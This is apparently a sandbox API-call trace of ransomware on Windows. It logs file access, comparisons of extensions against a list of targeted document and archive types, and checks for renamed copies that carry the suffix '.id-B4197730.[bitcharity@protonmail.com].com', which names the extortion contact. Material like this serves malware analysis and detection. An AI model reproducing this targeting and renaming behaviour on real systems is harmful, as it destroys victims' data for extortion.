[0140.386] lstrlenW (lpString=".jpg") returned 4 [0140.386] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0140.386] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.386] lstrlenW (lpString="ipsel.xml") returned 9 [0140.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0140.703] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=2618) returned 1 [0140.703] CloseHandle (hObject=0x10cc) returned 1 [0140.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0140.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.708] lstrlenW (lpString=".doc") returned 4 [0140.708] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.708] lstrlenW (lpString=".docx") returned 5 [0140.708] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0140.708] lstrlenW (lpString=".pdf") returned 4 [0140.708] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.708] lstrlenW (lpString=".xls") returned 4 [0140.708] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.708] lstrlenW (lpString=".xlsx") returned 5 [0140.708] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0140.709] lstrlenW (lpString=".ppt") returned 4 [0140.709] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString=".zip") returned 4 [0140.709] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.709] lstrlenW (lpString=".rar") returned 4 [0140.709] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString=".bz2") returned 4 [0140.709] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString=".7z") returned 3 [0140.709] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString=".dbf") returned 4 [0140.709] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString=".1cd") returned 4 [0140.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString=".jpg") returned 4 [0140.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.709] lstrlenW (lpString=".doc") returned 4 [0140.709] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString=".docx") returned 5 [0140.709] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0140.709] lstrlenW (lpString=".pdf") returned 4 [0140.709] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.709] lstrlenW (lpString=".xls") returned 4 [0140.710] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString=".xlsx") returned 5 [0140.710] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0140.710] lstrlenW (lpString=".ppt") returned 4 [0140.710] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.710] lstrlenW (lpString=".zip") returned 4 [0140.710] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.710] lstrlenW (lpString=".rar") returned 4 [0140.710] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString=".bz2") returned 4 [0140.710] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString=".7z") returned 3 [0140.710] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.710] lstrlenW (lpString=".dbf") returned 4 [0140.710] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.710] lstrlenW (lpString=".1cd") returned 4 [0140.710] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0140.710] lstrlenW (lpString=".jpg") returned 4 [0140.710] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.710] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.710] lstrlenW (lpString="ipsfra.xml") returned 10 [0140.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0140.848] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=2628) returned 1 [0140.848] CloseHandle (hObject=0x10c8) returned 1 [0140.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0140.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.849] lstrlenW (lpString=".doc") returned 4 [0140.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.849] lstrlenW (lpString=".docx") returned 5 [0140.849] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0140.849] lstrlenW (lpString=".pdf") returned 4 [0140.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.849] lstrlenW (lpString=".xls") returned 4 [0140.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.849] lstrlenW (lpString=".xlsx") returned 5 [0140.849] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0140.849] lstrlenW (lpString=".ppt") returned 4 [0140.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.849] lstrlenW (lpString=".zip") returned 4 [0140.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.849] lstrlenW (lpString=".rar") returned 4 [0140.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString=".bz2") returned 4 [0140.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString=".7z") returned 3 [0140.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.850] lstrlenW (lpString=".dbf") returned 4 [0140.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.850] lstrlenW (lpString=".1cd") returned 4 [0140.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.850] lstrlenW (lpString=".jpg") returned 4 [0140.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.850] lstrlenW (lpString=".doc") returned 4 [0140.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString=".docx") returned 5 [0140.850] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0140.850] lstrlenW (lpString=".pdf") returned 4 [0140.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString=".xls") returned 4 [0140.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.850] lstrlenW (lpString=".xlsx") returned 5 [0140.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0140.851] lstrlenW (lpString=".ppt") returned 4 [0140.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.958] lstrlenW (lpString=".zip") returned 4 [0140.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.958] lstrlenW (lpString=".rar") returned 4 [0140.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.958] lstrlenW (lpString=".bz2") returned 4 [0140.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.958] lstrlenW (lpString=".7z") returned 3 [0140.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.958] lstrlenW (lpString=".dbf") returned 4 [0140.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.958] lstrlenW (lpString=".1cd") returned 4 [0140.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 61 [0140.958] lstrlenW (lpString=".jpg") returned 4 [0140.959] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.959] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.959] lstrlenW (lpString="ipsplk.xml") returned 10 [0140.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.372] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=2600) returned 1 [0142.372] CloseHandle (hObject=0x1038) returned 1 [0142.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0142.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString=".doc") returned 4 [0142.373] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString=".docx") returned 5 [0142.373] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0142.373] lstrlenW (lpString=".pdf") returned 4 [0142.373] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString=".xls") returned 4 [0142.373] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString=".xlsx") returned 5 [0142.373] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0142.373] lstrlenW (lpString=".ppt") returned 4 [0142.373] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString=".zip") returned 4 [0142.373] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0142.373] lstrlenW (lpString=".rar") returned 4 [0142.373] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString=".bz2") returned 4 [0142.373] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString=".7z") returned 3 [0142.373] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0142.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString=".dbf") returned 4 [0142.373] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString=".1cd") returned 4 [0142.373] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0142.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.373] lstrlenW (lpString=".jpg") returned 4 [0142.373] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString=".doc") returned 4 [0142.374] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString=".docx") returned 5 [0142.374] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0142.374] lstrlenW (lpString=".pdf") returned 4 [0142.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString=".xls") returned 4 [0142.374] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString=".xlsx") returned 5 [0142.374] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0142.374] lstrlenW (lpString=".ppt") returned 4 [0142.374] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString=".zip") returned 4 [0142.374] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0142.374] lstrlenW (lpString=".rar") returned 4 [0142.374] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString=".bz2") returned 4 [0142.374] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString=".7z") returned 3 [0142.374] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString=".dbf") returned 4 [0142.374] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString=".1cd") returned 4 [0142.374] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61 [0142.374] lstrlenW (lpString=".jpg") returned 4 [0142.374] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0142.375] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0142.375] lstrlenW (lpString="ipstr.xml") returned 9 [0142.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.563] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=2720) returned 1 [0143.563] CloseHandle (hObject=0x1038) returned 1 [0143.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0143.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.564] lstrlenW (lpString=".doc") returned 4 [0143.564] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString=".docx") returned 5 [0143.564] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0143.564] lstrlenW (lpString=".pdf") returned 4 [0143.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString=".xls") returned 4 [0143.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString=".xlsx") returned 5 [0143.564] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0143.564] lstrlenW (lpString=".ppt") returned 4 [0143.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.564] lstrlenW (lpString=".zip") returned 4 [0143.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0143.564] lstrlenW (lpString=".rar") returned 4 [0143.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString=".bz2") returned 4 [0143.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0143.564] lstrlenW (lpString=".7z") returned 3 [0143.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString=".dbf") returned 4 [0143.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString=".1cd") returned 4 [0143.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString=".jpg") returned 4 [0143.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString=".doc") returned 4 [0143.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString=".docx") returned 5 [0143.565] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0143.565] lstrlenW (lpString=".pdf") returned 4 [0143.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString=".xls") returned 4 [0143.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString=".xlsx") returned 5 [0143.565] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0143.565] lstrlenW (lpString=".ppt") returned 4 [0143.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0143.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.565] lstrlenW (lpString=".zip") returned 4 [0143.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0143.565] lstrlenW (lpString=".rar") returned 4 [0143.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0143.566] lstrlenW (lpString=".bz2") returned 4 [0143.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0143.566] lstrlenW (lpString=".7z") returned 3 [0143.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0143.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.566] lstrlenW (lpString=".dbf") returned 4 [0143.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0143.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.566] lstrlenW (lpString=".1cd") returned 4 [0143.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0143.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0143.566] lstrlenW (lpString=".jpg") returned 4 [0143.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0143.566] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0143.566] lstrlenW (lpString="Garden.htm") returned 10 [0143.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.627] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=231) returned 1 [0143.627] CloseHandle (hObject=0x1038) returned 1 [0143.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0143.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.633] lstrlenW (lpString=".doc") returned 4 [0143.633] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.633] lstrlenW (lpString=".docx") returned 5 [0143.633] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0143.633] lstrlenW (lpString=".pdf") returned 4 [0143.633] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.633] lstrlenW (lpString=".xls") returned 4 [0143.633] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.633] lstrlenW (lpString=".xlsx") returned 5 [0143.633] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0143.633] lstrlenW (lpString=".ppt") returned 4 [0143.633] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.633] lstrlenW (lpString=".zip") returned 4 [0143.633] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.633] lstrlenW (lpString=".rar") returned 4 [0143.633] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.633] lstrlenW (lpString=".bz2") returned 4 [0143.633] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.633] lstrlenW (lpString=".7z") returned 3 [0143.633] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.633] lstrlenW (lpString=".dbf") returned 4 [0143.633] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.634] lstrlenW (lpString=".1cd") returned 4 [0143.634] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.634] lstrlenW (lpString=".jpg") returned 4 [0143.634] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0143.634] lstrlenW (lpString=".doc") returned 4 